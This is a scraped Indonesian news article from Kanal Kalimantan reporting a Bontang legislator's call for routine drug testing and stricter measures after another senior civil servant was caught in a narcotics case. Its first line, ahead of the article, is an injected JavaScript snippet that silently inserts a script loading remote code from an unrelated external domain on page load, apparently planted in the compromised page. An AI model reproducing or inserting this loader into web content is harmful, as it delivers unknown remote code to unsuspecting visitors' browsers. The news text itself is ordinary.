(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BONTANG – Anggota DPRD Bontang Bakhtiar Wakkang menilai, upaya pemberantasan Nakroba di lingkungan Pemko Bontang belum efektif. Terbukti, lagi-lagi oknum pejabat teras di Pemko Bontang kembali tersandung kasus narkotika.
Pria yang mengisi posisi Sekretaris Dinas Koperasi UMKM dan Perdagangan Bontang itu menambah rentetan jumlah pegawai Pemko yang terjerat narkotika.
Medio tahun ini saja sudah ada 3 kasus narkoba yang melibatkan Aparatur Sipil Negara (ASN). Berkaca dari kasus itu, Bakhtiar minta agar pemerintah segera mengevaluasi program pemberantasan narkoba.
“Kalau saya lihat imbauan saja tak mempan. Harus ada sistem yang dibuat pemerintah supaya tak terulang lagi,” kata pria yang akrab disapa BW ini, melansir dari KlikKaltim –Jaringan Suara.com, Jumat (27/5/2022).
Baca juga: Siap Diberangkatkan, 2.482 CJH Embarkasi Banjarmasin Dibagi 7 Kloter
BW mengusulkan pemerintah harusnya rutin melakukan tes urine dan sejenisnya kepada pegawai. Di samping itu, program pencegahan hingga rehabilitasi pencandu juga dilakukan.
Tak itu saja, bagi calon pejabat yang dilantik wajib menunjukkan rekam jejak bebas narkoba, minimal 3 tahun terakhir.
“Apabila pasca dilakukan program itu, kemudian oknum masih berulah. Harus ditindak tegas. Karena mereka memang tidak mau berubah,” ungkapnya.
Rentetan kasus para ASN konsumsi narkoba ini sudah cukup agar pemerintah serius mengurusi aparaturnya bebas dari narkotika.
“Jangan ada lagi lah kasus ini, malu harusnya pemerintah kok banyak pegawai pakai narkoba,” tandasnya. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.